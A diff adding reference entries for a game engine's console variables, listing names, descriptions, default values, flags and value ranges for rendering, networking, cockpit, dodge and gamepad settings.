+
+cl_predict_error_icon_threshold_dist + +Distance error required to show prediction error icon + +default: `"1.0"` +flags: `0x4000` +
+
+cl_predict_motioncontrol + + + +default: `"0"` +flags: `0x2` +
+
+cl_predict_viewangles + +Predict view angles even if cl_predict is 0. + +default: `"1"` +flags: `0x2` +
+
+cl_prediction_error_timestamps + + + +default: `"0"` +flags: `0x2` +
+
+cl_predictionlist + +Show which entities are predicting + + +default: `"0"` +flags: `0x4000` +
+
+cl_predictweapons + +Perform client side prediction of weapon effects. + +default: `"1"` +flags: `0x200` +
+
+cl_prevent_weapon_text_hints + +stops weapon text hints from appearing + +default: `"1"` +flags: `0x2` +
+
+cl_ragdoll_force_fade_time + +Fade out ragdoll even if in players view after this many seconds + +default: `"5"` +flags: `0x2` +
+
+cl_ragdoll_force_fade_time_local_view_player + +If the ragdoll is of the local view player then use the max of this and cl_ragdoll_force_fade_time for the fade time + +default: `"20"` +flags: `0x2` +
+
+cl_ragdoll_force_fade_time_on_moving_geo + +Fade out ragdoll even if in players view after this many seconds when touching moving geo. + +default: `"5"` +flags: `0x2` +
+
+cl_ragdoll_force_fade_time_titan + +Fade out titan ragdoll even if in players view after this many seconds + +default: `"5"` +flags: `0x2` +
+
+cl_ragdoll_maxcount + + + +default: `"8"` +flags: `0x40000000` +min value: `0` +max value: `8` +
+
+cl_ragdoll_self_collision + + + +default: `"1"` +flags: `0x40000002` +
+
+cl_replayDelayTolerance + + + +default: `"4"` +flags: `0x2` +
+
+cl_requireAnimForAnimEventsHdr + + + +default: `"1"` +flags: `0x2` +
+
+cl_resend + +Delay in seconds before the client will resend the 'connect' attempt + +default: `"0.5"` +flags: `0x80000` +min value: `0.5` +max value: `20` +
+
+cl_resend_timeout + +Total time allowed for the client to resend the 'connect' attempt + +default: `"10"` +flags: `0x80000` +min value: `0.5` +max value: `20000` +
+
+cl_retire_low_priority_lights + +Low priority dlights are replaced by high priority ones + +default: `"0"` +flags: `0x2` +
+
+cl_runWeaponCloneThinkWhenHidden + + + +default: `"1"` +flags: `0x2` +
+
+cl_safearea + + + +default: `"0"` +flags: `0x1000000` +
+
+cl_screenshotname + +Custom Screenshot name + +default: `""` +flags: `0x2` +
+
+cl_scriptCompileAsync + + + +default: `"1"` +flags: `0x2` +
+
+cl_script_perf_dump_on_shutdown + + + +default: `"0"` +flags: `0x2` +
+
+cl_shadowupdatespacing + + + +default: `"10.0"` +flags: `0x2` +
+
+cl_showClanTags + +Only change this while disconnected from a server + +default: `"1"` +flags: `0x2` +
+
+cl_show_splashes + + + +default: `"1"` +flags: `0x2` +
+
+cl_showerror + +Show prediction errors, 2 for above plus detailed field deltas. + +default: `"0"` +flags: `0x2` +
+
+cl_showerror_watchfield + +When showing prediction errors, only show fields that match this name + +default: `""` +flags: `0x2` +
+
+cl_showfiredbullets + + + +default: `"0"` +flags: `0x2` +
+
+cl_showfps + +Draw fps meter (1 = fps, 2 = smooth, 3 = server, 4 = Show+LogToFile, +10 = detailed ) + +default: `"0"` +flags: `0x80000` +
+
+cl_showfps_altframetime + +Use the showfps_enabled time instead of the old cl_showfps time. + +default: `"1"` +flags: `0x80000` +
+
+cl_showpausedimage + +Show the 'Paused' image when game is paused. + +default: `"1"` +flags: `0x2` +
+
+cl_showpos + +Draw current position at top of screen + +default: `"0"` +flags: `0x80000` +
+
+cl_showsounds + +Print server to client networked sounds to the console + +default: `"0"` +flags: `0x4000` +
+
+cl_showtime + +Draw current demo time if recording a demo + +default: `"0"` +flags: `0x80000` +
+
+cl_simulateAllModelsRegardless + + + +default: `"0"` +flags: `0x2` +
+
+cl_simulationtimefix + + + +default: `"1"` +flags: `0x2` +
+
+cl_skipAnimEventsOnProps + + + +default: `"1"` +flags: `0x2` +
+
+cl_skipfastpath + +Set to 1 to stop all models that go through the model fast path from rendering + +default: `"0"` +flags: `0x4000` +
+
+cl_smooth + +Smooth view/eye origin after prediction errors + +default: `"1"` +flags: `0x2` +
+
+cl_smooth_debug + +Show prediction errors that are being smoothed + +default: `"0"` +flags: `0x2` +
+
+cl_smoothtime + +Smooth client's view after prediction error over this many seconds + +default: `"0.25"` +flags: `0x2` +min value: `0.01` +max value: `2` +
+
+cl_threaded_bone_setup + +Enable parallel processing of C_BaseAnimating::SetupBones() + +default: `"1"` +flags: `0x2` +
+
+cl_update_visibility_for_non_predicted_local_player_always + + + +default: `"1"` +flags: `0x2` +
+
+cl_updatedirty_async + +Call UpdateDirtySpatialPartitionEntities on a worker thread. + +default: `"0"` +flags: `0x2` +
+
+cl_updatedirty_early + + + +default: `"0"` +flags: `0x2` +
+
+cl_updaterate_mp + +Number of packets per second of updates you are requesting from the server in mp + +default: `"20"` +flags: `0x10202` +
+
+cl_upspeed + + + +default: `"320"` +flags: `0x4000` +
+
+cl_useFutureSnapForEvents + + + +default: `"0"` +flags: `0x2` +
+
+cl_useLobbyTypeForChatroom + + + +default: `"1"` +flags: `0x2` +
+
+cl_view_cone + +Enable clamping view to animated/scripted viewcone + +default: `"1"` +flags: `0x4000` +
+
+cl_view_cone_debug + +Show view cone debugging window + +default: `"0"` +flags: `0x4000` +
+
+cl_viewmodel_pre_animate + + + +default: `"0"` +flags: `0x2` +
+
+cl_warnAboutSoundsOnInvalidEntities + + + +default: `"1"` +flags: `0x2` +
+
+cl_yawspeed + + + +default: `"210"` +flags: `0x2` +
+
+clampHostFrameTimeToOneTick_enable + + + +default: `"0"` +flags: `0x2` +
+
+clearOnAnimChange + + + +default: `"1"` +flags: `0x2` +
+
+client_deferredSnapshotScriptCalls + + + +default: `"1"` +flags: `0x2` +
+
+clientport + +Host game client port + +default: `"0"` +flags: `0x80000` +
+
+cloak_enabled + + + +default: `"1"` +flags: `0x4000` +
+
+cloak_pilotNoiseFactor + +Intensity of noise in pilot cloak aberration + +default: `"0.25"` +flags: `0x2002` +
+
+cloak_pilotTint1 + +Brightness factor for center-left sample + +default: `"0.35"` +flags: `0x2002` +
+
+cloak_pilotTint2 + +Brightness factor for upper-right sample + +default: `"0.5"` +flags: `0x2002` +
+
+cloak_pilotTint3 + +Brightness factor for lower-right sample + +default: `"0.65"` +flags: `0x2002` +
+
+clock_bias_mp + + + +default: `"-18.0"` +flags: `0x2` +
+
+clock_bias_sp + + + +default: `"-2.0"` +flags: `0x2` +
+
+clock_showcorrections + + + +default: `"0"` +flags: `0x2` +
+
+clock_showdebuginfo + + + +default: `"0"` +flags: `0x2` +
+
+closecaption + +Enable close captioning. 1 = dialogue only, 2 = dialogue and sound effects. + +default: `"0"` +flags: `0x1000000` +
+
+clubs_showInvites + +Whether to show club invites or not + +default: `"1"` +flags: `0x1000000` +
+
+cockpitDrift_scalePitch + + + +default: `"0.0"` +flags: `0x2` +
+
+cockpitDrift_scaleYaw + + + +default: `"0.0"` +flags: `0x2` +
+
+cockpitDrift_speedPitch + + + +default: `"0.0"` +flags: `0x2` +
+
+cockpitDrift_speedYaw + + + +default: `"0.0"` +flags: `0x2` +
+
+cockpitShake_sourceRollRange + +The range of weapon kick roll that will be sampled for cockpit shake. + +default: `"3"` +flags: `0x2` +
+
+cockpitShake_translateRange + +Max amount of cockpit shake. + +default: `"0.6"` +flags: `0x2` +
+
+cockpit_damage_chroma_scale + + + +default: `"0.4"` +flags: `0x2` +
+
+cockpit_hit_chroma_max_time + +Time to get rid of the most recent hit_chroma adjustment when at near 0 health. + +default: `"0.6"` +flags: `0x2` +
+
+cockpit_hit_chroma_scale + + + +default: `"0.2"` +flags: `0x2` +
+
+cockpit_pitch_down_frac + +fractional amount that cockpit pitches as you look down + +default: `"1.0"` +flags: `0x2` +
+
+cockpit_pitch_up_frac + +fractional amount that cockpit pitches as you look up + +default: `"1.0"` +flags: `0x2` +
+
+cockpit_screen_boot_chroma_scale + + + +default: `"0.0"` +flags: `0x2` +
+
+cockpit_screen_boot_delay_bottom + + + +default: `"1.25"` +flags: `0x2` +
+
+cockpit_screen_boot_delay_left + + + +default: `"0.25"` +flags: `0x2` +
+
+cockpit_screen_boot_delay_mid + + + +default: `"0.5"` +flags: `0x2` +
+
+cockpit_screen_boot_delay_right + + + +default: `"0.75"` +flags: `0x2` +
+
+cockpit_screen_boot_delay_top + + + +default: `"1.0"` +flags: `0x2` +
+
+coll_spatial_entry_limit_client + +How many entries are used in the spatial acceleration structure for dynamic entities on the client. + +default: `"140"` +flags: `0x2` +
+
+coll_spatial_optimize_prefetch + +Prefetch memory into the cache before optimizing spatial acceleration trees. This does more work, but tends to be faster overall. + +default: `"1"` +flags: `0x2` +
+
+coll_use_bolt_size + + + +default: `"1"` +flags: `0x2002` +
+
+colorblind_mode + + + +default: `"0"` +flags: `0x41000000` +min value: `0` +max value: `3` +
+
+communities_doRealNameLookupsForCommunityCreators + + + +default: `"0"` +flags: `0x2` +
+
+communities_enabled + +Enable communities + +default: `"0"` +flags: `0x2` +
+
+communities_hostname + + + +default: `""` +flags: `0x2` +
+
+community + +Our current community + +default: `""` +flags: `0x200` +
+
+community_abortCommunitySettingsTime + + + +default: `"20"` +flags: `0x2` +
+
+community_abortUserInfoTime + + + +default: `"20"` +flags: `0x2` +
+
+community_browse_excludeMine + + + +default: `"0"` +flags: `0x2` +
+
+community_clantags + +put community name in the clan tag + +default: `"1"` +flags: `0x2` +
+
+community_doRealNameLookupsForInbox + + + +default: `"0"` +flags: `0x2` +
+
+community_frame_run + +Communities should run it's frame update. + +default: `"1"` +flags: `0x2` +
+
+community_queryServerWhenOrphaned + + + +default: `"1"` +flags: `0x2` +
+
+community_replaceInboxTokens + + + +default: `"1"` +flags: `0x2` +
+
+community_replaceInboxTokens + + + +default: `"1"` +flags: `0x2` +
+
+community_resolveNames + + + +default: `"1"` +flags: `0x2` +
+
+community_resolveNames + + + +default: `"1"` +flags: `0x2` +
+
+community_send_server_voice + +Communities will route voice data to the chat server! + +default: `"1"` +flags: `0x2` +
+
+community_spam + +Whether communities should spam to the console log + +default: `"0"` +flags: `0x2` +
+
+community_staleCommunitySettingsTime + + + +default: `"60"` +flags: `0x2` +
+
+community_staleUserInfoTime + + + +default: `"120"` +flags: `0x2` +
+
+con_logfile + +Console output gets written to this file + +default: `""` +flags: `0x2` +
+
+con_timestamp + +Prefix console.log entries with timestamps + +default: `"0"` +flags: `0x2` +
+
+cpu_level + +CPU Level - Default: High + +default: `"2"` +flags: `0x2` +
+
+cpu_level + +CPU Level - Default: High + +default: `"2"` +flags: `0x2` +
+
+createentitydecals + + + +default: `"1"` +flags: `0x4000` +
+
+crossPlay_Enabled + +Allow crossPlay code to work! + +default: `"1"` +flags: `0x2` +
+
+csm0_on_worker + + + +default: `"0"` +flags: `0x2` +
+
+csm_cascade_res + +Set the cascading shadow maps rendertarget resolution + +default: `"1024"` +flags: `0x2` +
+
+csm_cascade_res + +Set the cascading shadow maps rendertarget resolution + +default: `"1024"` +flags: `0x2` +
+
+csm_coverage + +Set the cascading shadow maps coverage + +default: `"2"` +flags: `0x2` +
+
+csm_culling_use_base_planes + + + +default: `"1"` +flags: `0x2` +
+
+csm_culling_use_exclusion_planes + + + +default: `"1"` +flags: `0x2` +
+
+csm_culling_use_inclusion_planes + + + +default: `"1"` +flags: `0x2` +
+
+csm_culling_use_planes + + + +default: `"1"` +flags: `0x2` +
+
+csm_debug_2d + + + +default: `"0"` +flags: `0x2` +
+
+csm_debug_culling + + + +default: `"0"` +flags: `0x2` +
+
+csm_debug_vis_hi_range + + + +default: `"1.0"` +flags: `0x2` +
+
+csm_debug_vis_lo_range + + + +default: `".35"` +flags: `0x2` +
+
+csm_depth_bias + + + +default: `"-0.000005f"` +flags: `0x2` +
+
+csm_dropsequence_adjusted_coverage + +Coverage for csm_dropsequence_adjustment + +default: `"6400"` +flags: `0x2` +
+
+csm_dropsequence_adjustment + +Adjust CSM 2 coverage during drop sequence for STATICSHADOWMODE_GENERATE_ONCE in order to prevent drop ship shadow from being clamped. + +default: `"1"` +flags: `0x2` +
+
+csm_enabled + +Set whether to render cascading shadow maps + +default: `"1"` +flags: `0x2` +
+
+csm_fadeModels + + + +default: `"1"` +flags: `0x2` +
+
+csm_force_no_csm_in_reflections + + + +default: `"0"` +flags: `0x2` +
+
+csm_frustum_draw + + + +default: `"0"` +flags: `0x2` +
+
+csm_frustum_draw_lock + + + +default: `"0"` +flags: `0x2` +
+
+csm_ignore_cascade12 + + + +default: `"0"` +flags: `0x2` +
+
+csm_ignore_edge_planes + + + +default: `"0"` +flags: `0x2` +
+
+csm_ignore_face_planes + + + +default: `"0"` +flags: `0x2` +
+
+csm_max_z_offset + +Note csm_z_cover_world expands Z range as well + +default: `"1000"` +flags: `0x2` +
+
+csm_min_z_offset + +Note csm_z_cover_world expands Z range as well + +default: `"-1000"` +flags: `0x2` +
+
+csm_renderable_shadows + + + +default: `"1"` +flags: `0x2` +
+
+csm_rope_shadows + + + +default: `"1"` +flags: `0x2` +
+
+csm_rot_override + +map_settings_override MUST BE ENABLED FOR THIS TO BE FUNCTIONAL. + +default: `"0"` +flags: `0x2` +
+
+csm_rot_x + +map_settings_override MUST BE ENABLED FOR THIS TO BE FUNCTIONAL. + +default: `"50"` +flags: `0x2` +
+
+csm_rot_y + +map_settings_override MUST BE ENABLED FOR THIS TO BE FUNCTIONAL. + +default: `"43"` +flags: `0x2` +
+
+csm_shadow_split_lerp_factor_range + + + +default: `".1"` +flags: `0x2` +
+
+csm_texel_size_cascade_0 + + + +default: `"0.25"` +flags: `0x2` +
+
+csm_texel_size_cascade_1 + + + +default: `"1.0"` +flags: `0x2` +
+
+csm_texel_size_cascade_2 + + + +default: `"4.0"` +flags: `0x2` +
+
+csm_texel_size_cascade_onecascade + + + +default: `"2.0"` +flags: `0x2` +
+
+csm_use_env_light_direction + + + +default: `"1"` +flags: `0x2` +
+
+csm_world_shadow_meshes + + + +default: `"1"` +flags: `0x2` +
+
+csm_world_shadows + + + +default: `"1"` +flags: `0x2` +
+
+csm_z_cover_world + +Expands CSM Depth coverage. 1 - Sea Height to Jump Height by Script, 2 - Static shadow's depth range + +default: `"2"` +flags: `0x2` +
+
+curl_allowHTTPS + + + +default: `"1"` +flags: `0x2` +
+
+curl_preloadDlls + + + +default: `"0"` +flags: `0x2` +
+
+curl_spamAllQueryStates + + + +default: `"0"` +flags: `0x2` +
+
+cursorWide + + + +default: `"2"` +flags: `0x2` +
+
+damageIndicatorReplayTimeOffset + +Artificial delay of damage indicator in replay + +default: `"0.0"` +flags: `0x2` +
+
+damage_indicator_style_pilot + + + +default: `"2"` +flags: `0x1000000` +
+
+damageinfo_defendInvalidValues + + + +default: `"0"` +flags: `0x2002` +
+
+debugFootstepEffects + + + +default: `"0"` +flags: `0x2` +
+
+debug_debug_overlay + +Enable debug of the debug overlays + +default: `"0"` +flags: `0x4004` +
+
+debug_force_textRestriction + + + +default: `"-1"` +flags: `0x2` +
+
+debug_force_ugcRestriction + + + +default: `"-1"` +flags: `0x2` +
+
+debug_force_voiceRestriction + + + +default: `"-1"` +flags: `0x2` +
+
+debug_map_crc + +Prints CRC for each map lump loaded + +default: `"0"` +flags: `0x2` +
+
+decal_clip_debug_draw + + + +default: `"0"` +flags: `0x2` +
+
+decal_clip_debug_groups + +this kicks off this many work groups when a decal is spawned instead of one for each triangle on the model. 0 is disabled + +default: `"0"` +flags: `0x2` +
+
+defer_weapon_effects + + + +default: `"1"` +flags: `0x2` +
+
+delayPostSnapshotNotificationsToAfterInterpolation + + + +default: `"1"` +flags: `0x2` +
+
+demo_autoRecord + + + +default: `"1"` +flags: `0x2` +
+
+demo_autoRecordName + + + +default: `"demo"` +flags: `0x2` +
+
+demo_connect_string + +Connect string for demo UI + +default: `""` +flags: `0x2` +
+
+demo_ui_enable + +Suffix for the demo UI + +default: `""` +flags: `0x2` +
+
+depth_prepass_dist_cutouts + + + +default: `"100"` +flags: `0x2` +
+
+depth_prepass_dist_opaques + + + +default: `"30"` +flags: `0x2` +
+
+depth_prepass_include_opaques + + + +default: `"1"` +flags: `0x2` +
+
+devStats + +True if game should report dev stats. + +default: `"0"` +flags: `0x2002` +
+
+developer + +Set developer message level + +default: `"0"` +flags: `0x80000` +
+
+disable_player_use_prompts + + + +default: `"0"` +flags: `0x1000000` +
+
+discord_largeImage + + + +default: `"default"` +flags: `0x2` +
+
+discord_smallImage + + + +default: `"default_small"` +flags: `0x2` +
+
+discord_updatePresence + + + +default: `"0"` +flags: `0x2` +
+
+dlight_default_falloff + +default half-distance fraction for legacy dlights. + +default: `"0.3"` +flags: `0x2` +
+
+dlight_early_clear + + + +default: `"1"` +flags: `0x2` +
+
+dlight_enable + + + +default: `"1"` +flags: `0x2` +
+
+dlight_overlay + +Draw debug overlay of dlight array + +default: `"0"` +flags: `0x4000` +
+
+dodge_cockpitHack + +Hack to avoid eye moving too far back in cockpit + +default: `"0"` +flags: `0x2002` +
+
+dodge_cockpitOffsetMax + +Cockpit translation while dodging + +default: `"3"` +flags: `0x2002` +
+
+dodge_cockpitTiltMax + +Additional view tilt applied to the cockpit while dodging + +default: `"4"` +flags: `0x2002` +
+
+dodge_vertical_enable + +Enables vertical dodge + +default: `"0"` +flags: `0x2002` +
+
+dodge_vertical_horzspeedscale + +Horizontal speed retained when dodging vertically + +default: `"0.5"` +flags: `0x2002` +
+
+dodge_vertical_in_air + +Allow dodge to still apply vertical acceleration when player is in the air + +default: `"1"` +flags: `0x2002` +
+
+dodge_vertical_threshold + +Stick deflection before dodge becomes vertical + +default: `"0.1"` +flags: `0x2002` +
+
+dodge_viewTiltDecreaseSpeed + +Speed at which view tilt decreases while dodging (degrees/sec) + +default: `"2.5"` +flags: `0x2002` +
+
+dodge_viewTiltFalloffTime + +Time during which view tilt decays to zero while dodging + +default: `".7"` +flags: `0x2002` +
+
+dodge_viewTiltIncreaseSpeed + +Speed at which view tilt increases while dodging (degrees/sec) + +default: `"5"` +flags: `0x2002` +
+
+dodge_viewTiltMax + +Amount of view tilt while dodging in degrees + +default: `"10"` +flags: `0x2002` +
+
+dof_enable + + + +default: `"1"` +flags: `0x2` +
+
+dof_farDepthEnd + + + +default: `"3000"` +flags: `0x2` +
+
+dof_farDepthStart + + + +default: `"2000"` +flags: `0x2` +
+
+dof_monitorFarDepthEnd + + + +default: `"3000"` +flags: `0x2` +
+
+dof_monitorFarDepthStart + + + +default: `"2000"` +flags: `0x2` +
+
+dof_monitorNearDepthEnd + + + +default: `"7.7"` +flags: `0x2` +
+
+dof_monitorNearDepthStart + + + +default: `"7.5"` +flags: `0x2` +
+
+dof_nearDepthEnd + + + +default: `"7.7"` +flags: `0x2` +
+
+dof_nearDepthStart + + + +default: `"7.5"` +flags: `0x2` +
+
+dof_overrideParams + + + +default: `"0"` +flags: `0x2` +
+
+dof_variable_blur + + + +default: `"0"` +flags: `0x2` +
+
+dormant_debug + + + +default: `"0"` +flags: `0x2` +
+
+draw_target_info_offscreen + + + +default: `"0"` +flags: `0x2` +
+
+dtwatchclass + +Watch all fields encoded with this table. + +default: `""` +flags: `0x2` +
+
+dtwatchdecode + +When watching show decode. + +default: `"1"` +flags: `0x2` +
+
+dtwatchencode + +When watching show encode. + +default: `"1"` +flags: `0x2` +
+
+dtwatchent + +Watch this entities data table encoding. + +default: `"-1"` +flags: `0x2` +
+
+dtwatchvar + +Watch the named variable. + +default: `""` +flags: `0x2` +
+
+dump_varsights_calculations + +Dumps one frame of variable sights calculations and turns itself off. + +default: `"0"` +flags: `0x2` +
+
+durango_voice_chat_team_only + +Only turn on voice chat for players on the same team + +default: `"1"` +flags: `0x2` +
+
+dvs_enable + +Enable dynamic viewport scaling. + +default: `""` +flags: `0x2` +
+
+dvs_enable_in_lobby + +Paired with dvs_enable. Both have to be true if we want to enable DVS in Lobby. + +default: `"0"` +flags: `0x2` +
+
+dvs_gpuframetime_max + +GPU frametime threshold above which DVS will start decreasing the scale. Specified in microseconds. + +default: `"16500"` +flags: `0x2` +
+
+dvs_gpuframetime_min + +GPU frametime threshold below which DVS will start increasing the scale. Specified in microseconds. + +default: `"15000"` +flags: `0x2` +
+
+dvs_scale_min + +Smallest scale the viewport dimensions can be scaled by. + +default: `"0.5f"` +flags: `0x2` +min value: `0.01` +max value: `1` +
+
+eadpAuth_hostname + + + +default: `""` +flags: `0x80000` +
+
+eadpFriends_hostname + + + +default: `""` +flags: `0x80000` +
+
+eadpGroups_Enabled + +Allow EADP Groups to run + +default: `"1"` +flags: `0x2` +
+
+eadpGroups_hostname + + + +default: `""` +flags: `0x80000` +
+
+eadpRtm_hostname + + + +default: `""` +flags: `0x80000` +
+
+eadpSearch_hostname + + + +default: `""` +flags: `0x80000` +
+
+eadp_rtm_spam_log + + + +default: `"1"` +flags: `0x2` +
+
+effect_update_array_spam + + + +default: `"0"` +flags: `0x2` +
+
+enable_KVFileOverrides + + + +default: `"1"` +flags: `0x2` +
+
+enable_debug_overlays + +Enable rendering of debug overlays + +default: `"1"` +flags: `0x4004` +
+
+enable_height_based_land_anims + +Enables different land animations based on the height of the fall. These may just be duplicates of each other. + +default: `"1"` +flags: `0x2002` +
+
+enable_height_based_land_anims_titans + + + +default: `"0"` +flags: `0x2002` +
+
+enable_skeleton_draw + +Render skeletons in wireframe + +default: `"0"` +flags: `0x4000` +
+
+encrypt_multiKey + + + +default: `"1"` +flags: `0x2` +
+
+ent_lightweightEnts + + + +default: `"1"` +flags: `0x2` +
+
+ent_repack_almostFull + + + +default: `"3000"` +flags: `0x2` +
+
+ent_repack_threshhold + + + +default: `"0.0001"` +flags: `0x2` +
+
+entity_error_on_hitbox_count_mismatch + +If set to true, SetModel will trigger a script error if any hitbox attachments will become invalid. + +default: `"1"` +flags: `0x2002` +
+
+entity_skipRedundantAddEffects + + + +default: `"1"` +flags: `0x2` +
+
+entity_useNetworkFieldBuffer + + + +default: `"1"` +flags: `0x400002` +
+
+error_if_non_standard_ent_create + + + +default: `"0"` +flags: `0x2` +
+
+eula_version + +What the current version of the EULA is + +default: `"1"` +flags: `0x2` +
+
+eula_version_accepted + + + +default: `"0"` +flags: `0x1000000` +
+
+eventseq_debug + + + +default: `"0"` +flags: `0x2` +
+
+everything_unlocked + + + +default: `"0"` +flags: `0x2002` +
+
+fast_intro + + + +default: `"0"` +flags: `0x2002` +
+
+fatal_script_error_prompt + + + +default: `""` +flags: `0x2002` +
+
+fatal_script_errors + + + +default: `"1"` +flags: `0x2002` +
+
+fatal_script_errors_client + +Enable fatal errors for client script. -1 will revert to using "fatal_script_errors" + +default: `"-1"` +flags: `0x2002` +
+
+fatal_script_errors_server + +Enable fatal errors for server script. -1 will revert to using "fatal_script_errors" + +default: `"-1"` +flags: `0x2002` +
+
+filesystem_buffer_size + +Size of per file buffers. 0 for none + +default: `"0"` +flags: `0x2` +
+
+filesystem_max_stdio_read + + + +default: `"16"` +flags: `0x2` +
+
+filesystem_native + +Use native FS or STDIO + +default: `"1"` +flags: `0x2` +
+
+filesystem_report_buffered_io + + + +default: `"0"` +flags: `0x2` +
+
+filesystem_unbuffered_io + + + +default: `"1"` +flags: `0x2` +
+
+filesystem_use_overlapped_io + + + +default: `"1"` +flags: `0x2` +
+
+fire_animevents_overlay_not_active + +fires anim events even if the overlay isn't active + +default: `"0"` +flags: `0x2002` +
+
+first_person_bullet_delay + +Set the amount of additional delay for first person bullets fired with net_optimize_weapons in seconds. Required so bullets match animations with cl_predict 0 and in kill replay + +default: `"0.1f"` +flags: `0x2002` +
+
+first_person_proxy_blend_distance + + + +default: `"50"` +flags: `0x2` +
+
+first_person_proxy_debug + + + +default: `"0"` +flags: `0x6000` +
+
+firsttime_mp_message + +first time joining multiplayer + +default: `"0"` +flags: `0x1000000` +
+
+fog_enable + +map_settings_override MUST BE ENABLED FOR THIS TO BE FUNCTIONAL. + +default: `"1"` +flags: `0x40000002` +
+
+fog_enable_water_fog + + + +default: `"1"` +flags: `0x4000` +
+
+fog_enableskybox + + + +default: `"1"` +flags: `0x2` +
+
+force3PLaserAttachment + + + +default: `"HEADFOCUS"` +flags: `0x2002` +
+
+force_EAAccess + + + +default: `"-1"` +flags: `0x2` +
+
+fps_max + +Frame rate limiter. -1 indicates use the desktop refresh. 0 is unlocked. + +default: `"-1"` +flags: `0x80000` +
+
+fps_max_use_refresh + +Use refresh rate for fps_max. + +default: `"0"` +flags: `0x2` +
+
+fps_max_vsync + +Frame rate limiter with vsync is enabled. + +default: `"0"` +flags: `0x2` +
+
+freecam_swallowButtonInput + + + +default: `"1"` +flags: `0x2` +
+
+freefall_sound_autoplay_time + +If the player falls for longer than this amount of time freefall sounds will automatically start playing. + +default: `"1.0"` +flags: `0x2002` +
+
+freefall_sound_height + +Height player must be falling from to trigger freefall sound effects. + +default: `"200.0"` +flags: `0x2002` +
+
+friends_onlineUpdateInterval + + + +default: `"10"` +flags: `0x2` +
+
+fs_intralevel_reads + +Internal var to tell the file system that we are in an intraread state... + +default: `"0"` +flags: `0x2` +
+
+fs_monitor_read_from_pack + +0:Off, 1:Any, 2:Sync only + +default: `"0"` +flags: `0x2` +
+
+fs_report_intra_level_readopens + +0:Off, 1:NotAudio, 2:All + +default: `"0"` +flags: `0x2` +
+
+fs_report_long_reads + +0:Off, 1:All (for tracking accumulated duplicate read times), >1:Microsecond threshold + +default: `"0"` +flags: `0x2` +
+
+fs_report_sync_opens + +0:Off, 1:Always, 2:Not during map load + +default: `"0"` +flags: `0x2` +
+
+fs_report_sync_opens_callstack + +0 to not display the call-stack when we hit a fs_report_sync_opens warning. Set to 1 to display the call-stack. + +default: `"0"` +flags: `0x2` +
+
+fs_report_sync_opens_fatal + + + +default: `"0"` +flags: `0x40000002` +
+
+fs_showAllReads + +0:Off, 1:On + +default: `"0"` +flags: `0x2` +
+
+fs_vpk_file_open + +0: No reporting, 1: Patch:VPKFilePath, 2: Patch:VPKFilePath:PartialPath + +default: `"0"` +flags: `0x2` +
+
+fs_warning_mode + +0:Off, 1:Warn main thread, 2:Warn other threads + +default: `"0"` +flags: `0x2` +
+
+func_break_max_pieces + + + +default: `"15"` +flags: `0x2080` +
+
+fx_debug + + + +default: `"0"` +flags: `0x2002` +
+
+fx_deferWorldTraceConstraint + +'Collision via traces' ops using collision mode 0 use deferred traces. + +default: `"1"` +flags: `0x2` +
+
+fx_glass_velocity_cap + +Maximum downwards speed of shattered glass particles + +default: `"0"` +flags: `0x2` +
+
+fx_impact_ally + + + +default: `"0.49 0.76 1.0 1.0"` +flags: `0x2` +
+
+fx_impact_enemy + + + +default: `"1.0 0.47 0.13 1.0"` +flags: `0x2` +
+
+fx_impact_neutral + + + +default: `"0.86 0.86 0.86 1.0"` +flags: `0x2` +
+
+fx_screenspacepass + + + +default: `"1"` +flags: `0x2002` +
+
+g_debug_ragdoll_removal + + + +default: `"0"` +flags: `0x6000` +
+
+g_ragdoll_fadespeed + + + +default: `"600"` +flags: `0x2` +
+
+g_ragdoll_important_maxcount + + + +default: `"2"` +flags: `0x2002` +
+
+g_ragdoll_lvfadespeed + + + +default: `"100"` +flags: `0x2` +
+
+gameCursor_ModeActive + +Globally activates/deactivates game cursor mode + +default: `"1"` +flags: `0x2` +
+
+gameCursor_Velocity + +Game cursor velocity under joystick control + +default: `"1300.0"` +flags: `0x1000000` +
+
+gamepad_ads_advanced_sensitivity_scalar_0 + +Gamepad ads sensitivity for 1x scopes / ironsights. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_ads_advanced_sensitivity_scalar_1 + +Gamepad ads sensitivity for 2x scopes. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_ads_advanced_sensitivity_scalar_2 + +Gamepad ads sensitivity for 3x scopes. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_ads_advanced_sensitivity_scalar_3 + +Gamepad ads sensitivity for 4x scopes. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_ads_advanced_sensitivity_scalar_4 + +Gamepad ads sensitivity for 6x scopes. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_ads_advanced_sensitivity_scalar_5 + +Gamepad ads sensitivity for 8x scopes. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_ads_advanced_sensitivity_scalar_6 + +Gamepad ads sensitivity for 10x scopes. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_ads_advanced_sensitivity_scalar_7 + +Gamepad ads sensitivity for an unused scope. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_aim_assist_ads_high_power_scopes + +Gamepad uses aim assist in ADS with high powered scopes + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_aim_assist_ads_low_power_scopes + +Gamepad uses aim assist in ADS with low powered scopes + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_aim_assist_hip_high_power_scopes + +Gamepad uses aim assist in Hip with high powered scopes + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_aim_assist_hip_low_power_scopes + +Gamepad uses aim assist in Hip with low powered scopes + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_aim_assist_melee + +Gamepad uses aim assist with melee weapons + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_aim_speed + + + +default: `"2"` +flags: `0x1000000` +min value: `0` +max value: `7` +
+
+gamepad_aim_speed_ads_0 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_aim_speed_ads_1 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_aim_speed_ads_2 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
